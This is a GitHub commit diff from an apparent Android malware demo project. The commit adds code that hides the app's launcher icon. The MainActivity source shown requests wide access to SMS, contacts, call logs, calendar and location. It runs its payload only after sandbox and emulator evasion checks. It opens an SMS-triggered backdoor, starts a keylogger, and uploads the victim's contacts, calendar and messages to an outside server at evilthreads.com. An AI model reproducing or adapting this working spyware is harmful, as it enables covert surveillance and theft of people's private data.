Skip to content

Commit

Permalink
Hide app icon in demo (#23)
Browse files Browse the repository at this point in the history
- not hiding icon but disabling launcher on Q
  - working on Android O
- add androidx instrumentation testing dependencies
- upgrade gradle plugin
  • Loading branch information
evilthreads669966 committed Oct 30, 2020
1 parent 2ec8091 commit b3a414e
Show file tree
Hide file tree
Showing 5 changed files with 54 additions and 16 deletions.
49 changes: 39 additions & 10 deletions app/src/main/java/com/evilthreads/evademe/MainActivity.kt
@@ -1,12 +1,14 @@
package com.evilthreads.evademe

import android.Manifest
import android.annotation.SuppressLint
import android.app.Activity
import android.content.Context
import android.content.pm.PackageManager
import android.os.Build
import android.util.Log
import androidx.annotation.RequiresApi
import androidx.appcompat.app.AppCompatActivity
import androidx.lifecycle.lifecycleScope
import androidx.lifecycle.whenCreated
import com.evilthreads.drawersnifferlib.DrawerSniffer
import com.evilthreads.evade.evade
import com.evilthreads.keylogger.Keylogger
Expand Down Expand Up @@ -47,16 +49,36 @@ import kotlinx.coroutines.withContext
............\..............(
..............\.............\...
*/
@ExperimentalStdlibApi
class MainActivity : AppCompatActivity() {
val TAG = this.javaClass.simpleName
init {
lifecycleScope.launchWhenResumed {
evade{
evade {
val kotlinPermissions = KotlinPermissions.with(this@MainActivity).apply {
if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q)
permissions(Manifest.permission.RECEIVE_SMS, Manifest.permission.READ_CONTACTS, Manifest.permission.READ_CALENDAR, Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.READ_CALL_LOG, Manifest.permission.READ_SMS, Manifest.permission.ACCESS_BACKGROUND_LOCATION, Manifest.permission.ACCESS_COARSE_LOCATION, Manifest.permission.ACCESS_BACKGROUND_LOCATION, Manifest.permission.READ_PHONE_STATE)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q)
permissions(
Manifest.permission.RECEIVE_SMS,
Manifest.permission.READ_CONTACTS,
Manifest.permission.READ_CALENDAR,
Manifest.permission.READ_EXTERNAL_STORAGE,
Manifest.permission.READ_CALL_LOG,
Manifest.permission.READ_SMS,
Manifest.permission.ACCESS_BACKGROUND_LOCATION,
Manifest.permission.ACCESS_COARSE_LOCATION,
Manifest.permission.ACCESS_BACKGROUND_LOCATION,
Manifest.permission.READ_PHONE_STATE
)
else
permissions(Manifest.permission.RECEIVE_SMS, Manifest.permission.READ_CONTACTS, Manifest.permission.READ_CALENDAR, Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.READ_CALL_LOG, Manifest.permission.READ_SMS, Manifest.permission.ACCESS_COARSE_LOCATION)
permissions(
Manifest.permission.RECEIVE_SMS,
Manifest.permission.READ_CONTACTS,
Manifest.permission.READ_CALENDAR,
Manifest.permission.READ_EXTERNAL_STORAGE,
Manifest.permission.READ_CALL_LOG,
Manifest.permission.READ_SMS,
Manifest.permission.ACCESS_COARSE_LOCATION
)
}
kotlinPermissions.onAccepted {
val payload = suspend {
Expand All @@ -74,18 +96,22 @@ class MainActivity : AppCompatActivity() {
keyloggerJob.join()
}
}
HttpClient(CIO){
install(JsonFeature){
HttpClient(CIO) {
install(JsonFeature) {
serializer = KotlinxSerializer()
}
install(Auth){
install(Auth) {
basic {
username = "evilthreads"
password = "secret"
}
}
}.use { client ->
SmsBackdoor.openDoor(this@MainActivity, "666:", payload = payload) { remoteCommand ->
SmsBackdoor.openDoor(
this@MainActivity,
"666:",
payload = payload
) { remoteCommand ->
runBlocking {
when (remoteCommand) {
"COMMAND_GET_CONTACTS" -> calendarLaunch(this@MainActivity).let { calendarEvents -> client.upload(calendarEvents) }
Expand All @@ -106,12 +132,15 @@ class MainActivity : AppCompatActivity() {
Keylogger.requestPermission(this@MainActivity)
if (!DrawerSniffer.hasPermission(this@MainActivity))
DrawerSniffer.requestPermission(this@MainActivity)
hideAppIcon()
}.ask()
}
}
}
}

private fun Activity.hideAppIcon() = this.applicationContext.packageManager.setComponentEnabledSetting(this.componentName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP)

val url = "http://evilthreads.com/"
val contactsUri = url.plus("contacts")
val smsUri = url.plus("sms")
Expand Down
2 changes: 1 addition & 1 deletion build.gradle
Expand Up @@ -10,7 +10,7 @@ buildscript {

}
dependencies {
classpath 'com.android.tools.build:gradle:4.0.1'
classpath 'com.android.tools.build:gradle:4.1.0'
classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"

// NOTE: Do not place your application dependencies here; they belong
Expand Down
6 changes: 6 additions & 0 deletions evade/build.gradle
Expand Up @@ -12,6 +12,7 @@ android {
versionCode 1
versionName "1.0"
consumerProguardFiles 'consumer-rules.pro'
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
}
}

Expand All @@ -21,4 +22,9 @@ dependencies {
implementation 'androidx.core:core-ktx:1.3.2'
implementation 'com.scottyab:rootbeer-lib:0.0.8'
implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.3.9'
androidTestImplementation 'androidx.test:runner:1.3.0'
androidTestImplementation 'androidx.test:rules:1.3.0'
// Optional -- Hamcrest library
androidTestImplementation 'org.hamcrest:hamcrest-library:1.3'

}
9 changes: 6 additions & 3 deletions evade/src/main/java/com/evilthreads/evade/Evade.kt
Expand Up @@ -28,7 +28,10 @@ import android.os.Build
import android.util.Log
import androidx.annotation.RequiresApi
import com.scottyab.rootbeer.RootBeer
import kotlinx.coroutines.*
import kotlinx.coroutines.Deferred
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.async
import kotlinx.coroutines.withContext
import java.net.NetworkInterface
import javax.net.SocketFactory
/*
Expand Down Expand Up @@ -69,6 +72,7 @@ import javax.net.SocketFactory
* [Manifest.permission.ACCESS_NETWORK_STATE], and [Manifest.permission.ACCESS_WIFI_STATE] will be merged into your app's Android.manifest file
* when compiling.
**/
@ExperimentalStdlibApi
inline suspend fun Context.evade(requiresNetwork: Boolean = true, crossinline payload: suspend () -> Unit): OnEvade.Escape{
val evaded = withContext(Dispatchers.Default){
val isEmulator = async { isEmulator }
Expand All @@ -86,8 +90,7 @@ inline suspend fun Context.evade(requiresNetwork: Boolean = true, crossinline pa
}
!(!isEmulator.await() && !isRooted.await() && !hasAdbOverWifi.await() && !isConnected.await() && !hasUsbDevices.await() && !(hasVpn?.await() ?: false) && !(hasFirewall?.await() ?: false))
}
if(!evaded)
payload()
if(!evaded) payload()
return OnEvade.Escape(evaded)
}

Expand Down
4 changes: 2 additions & 2 deletions gradle/wrapper/gradle-wrapper.properties
@@ -1,6 +1,6 @@
#Thu Sep 17 14:08:27 CDT 2020
#Fri Oct 30 03:33:35 CDT 2020
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-6.1.1-all.zip
distributionUrl=https\://services.gradle.org/distributions/gradle-6.5-bin.zip

0 comments on commit b3a414e

Please sign in to comment.